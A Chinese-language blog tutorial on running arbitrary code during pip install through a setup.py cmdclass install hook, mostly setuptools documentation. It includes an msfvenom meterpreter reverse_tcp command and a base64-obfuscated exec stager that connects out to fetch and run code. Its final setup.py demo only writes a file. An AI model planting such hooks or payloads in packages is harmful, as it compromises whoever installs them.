安装Python库时执行任意代码
python语言越来越流行,使用的人越来越多。聚最新编程语言排行榜显示,已经跃升至前三名。
对于python大家都不会陌生了,我们经常会使用pip命令来安装python的各种库,那么你有没有想过在安装的时候,可能会有恶意代码悄悄运行呢?
下面我们先来看制作一个pypi的包的过程。
python的库打包方式
在制作python库文件的时候,经常用到的有两种,一种是distutils,另外一种则是setuptools。distutils
是标准库中负责建立 Python 第三方库的安装器,使用它能够进行 Python 模块的安装和发布。distutils 对于简单的分发很有用,但功能缺少。大部分Python用户会使用更先进的setuptools模块。setuptools
是 distutils 增强版,不包括在标准库中。其扩展了很多功能,能够帮助开发者更好的创建和分发 Python 包。大部分 Python 用户都会使用更先进的 setuptools 模块。
python库的打包格式
Python 库打包的格式包括 Wheel 和 Egg。Egg 格式是由 setuptools 在 2004 年引入,而 Wheel 格式是由 PEP427 在 2012 年定义。使用 Wheel 和 Egg 安装都不需要重新构建和编译,其在发布之前就应该完成测试和构建。
setup文件
Python 库打包分发的关键在于编写 setup.py 文件。setup.py 文件编写的规则是从 setuptools 或者 distuils 模块导入 setup 函数,并传入各类参数进行调用。
它是放在你包的根目录的,这一步至关重要,包括要发布的包名字,版本,license,描述,特性等等,下面是我自己包的一个setup.py文件的内容,基本上只需要在这个上面修改就行了,具体如下:
from __future__ import print_function
from setuptools import setup, find_packages
import sys
setup(
name="tests",
version="0.2.0",
author="yiming",
author_email="xxxx@xxxx.com",
desc ription="A Python library for test.",
long_desc ription=open("README.rst").read(),
license="MIT",
url="https://github.com/WEIHAITONG1/better-youtubedl",
packages=['Betubedl'],
classifiers=[
"Environment :: Web Environment",
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Natural Language :: Chinese',
'Operating System :: MacOS',
'Operating System :: Microsoft',
'Operating System :: POSIX',
'Operating System :: Unix',
'Topic :: Multimedia :: Video',
"Topic :: Internet",
"Topic :: Software Development :: Libraries :: Python Modules",
'Programming Language :: Python :: 2.6',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.3',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
],
zip_safe=True,
)
setup 函数常用的参数如下:
参数 | 说明 |
---|---|
name | 包名称 |
version | 包版本 |
author | 程序的作者 |
author_email | 程序的作者的邮箱地址 |
maintainer | 维护者 |
maintainer_email | 维护者的邮箱地址 |
url | 程序的官网地址 |
license | 程序的授权信息 |
desc ription | 程序的简单描述 |
long_desc ription | 程序的详细描述 |
platforms | 程序适用的软件平台列表 |
classifiers | 程序的所属分类列表 |
keywords | 程序的关键字列表 |
packages | 需要处理的包目录(通常为包含 __init__.py 的文件夹) |
py_modules | 需要打包的 Python 单文件列表 |
download_url | 程序的下载地址 |
cmdclass | 添加自定义命令 |
package_data | 指定包内需要包含的数据文件 |
include_package_data | 自动包含包内所有受版本控制(cvs/svn/git)的数据文件 |
exclude_package_data | 当 include_package_data 为 True 时该选项用于排除部分文件 |
data_files | 打包时需要打包的数据文件,如图片,配置文件等 |
ext_modules | 指定扩展模块 |
sc ripts | 指定可执行脚本,安装时脚本会被安装到系统 PATH 路径下 |
package_dir | 指定哪些目录下的文件被映射到哪个源码包 |
requires | 指定依赖的其他包 |
provides | 指定可以为哪些模块提供依赖 |
install_requires | 安装时需要安装的依赖包 |
entry_points | 动态发现服务和插件,下面详细讲 |
setup_requires | 指定运行 setup.py 文件本身所依赖的包 |
dependency_links | 指定依赖包的下载地址 |
extras_require | 当前包的高级/额外特性需要依赖的分发包 |
zip_safe | 不压缩包,而是以目录的形式安装 |
更多参数可见:https://setuptools.readthedocs.io/en/latest/setuptools.html
以上内容仅作为简单介绍,具体库打包请自行查看相关文档。这里我们重点看,有一个cmdclass,cmdclass表示自定义命令。它是我们今天的主角,得以执行任意代码将全靠它。大概的形式如下:
from setuptools import setup
from setuptools.command.install import install
class PostInstallCommand(install):
def run(self):
# 这里加入我们要执行的代码
install.run(self)
setup(
...
cmdclass={
'install': PostInstallCommand,
},
...
)
上面注释的位置就可以插入我们要执行的python代码。
当我们制作好打包的库,发布到pypi上的时候,当别人通过pip install命令安装的时候就会执行我们的代码。那么我们可以构造任意的代码了,例如获取机器信息到远程,更加危险的就是直接反弹shell。
例如我们可以在本地执行,即可执行我们的代码:
python -m pip install test/
例如我们可以通过msfvenom生成shellcode,然后加入代码反弹shell代码。
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1234
import ba se64; exec(ba se64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))
最终setup.py的文件内容如下:
#!/usr/bin/env python
from __future__ import print_function
import getpass
import os
import time
from setuptools import setup
from setuptools.command.develop import develop
from setuptools.command.install import install
long_desc ription_filename = os.path.join(
os.path.dirname(os.path.abspath(__file__)), 'README.md')
with open(long_desc ription_filename) as fd:
long_desc ription = fd.read()
FILENAME = 'mtest'
def exec_sc ripts():
with open("./test.txt", 'a') as fd:
print("mtest")
fd.write("test\n")
class InstallCommand(install):
def run(self):
exec_sc ripts()
install.run(self)
setup(
name='mtest',
version='0.1.0',
desc ription='Code execution via Python package installation.',
long_desc ription=long_desc ription,
long_desc ription_content_type='text/markdown',
url='https://nosec.org',
packages=[],
license='GPLv3',
classifiers=[
'Environment :: Console',
'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.4',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Topic :: Security',
],
install_requires=[],
tests_require=[],
cmdclass={
'install': InstallCommand,
},
)
参考:
https://setuptools.readthedocs.io/en/latest/setuptools.html
http://blog.konghy.cn/2018/04/29/setup-dot-py/
最新评论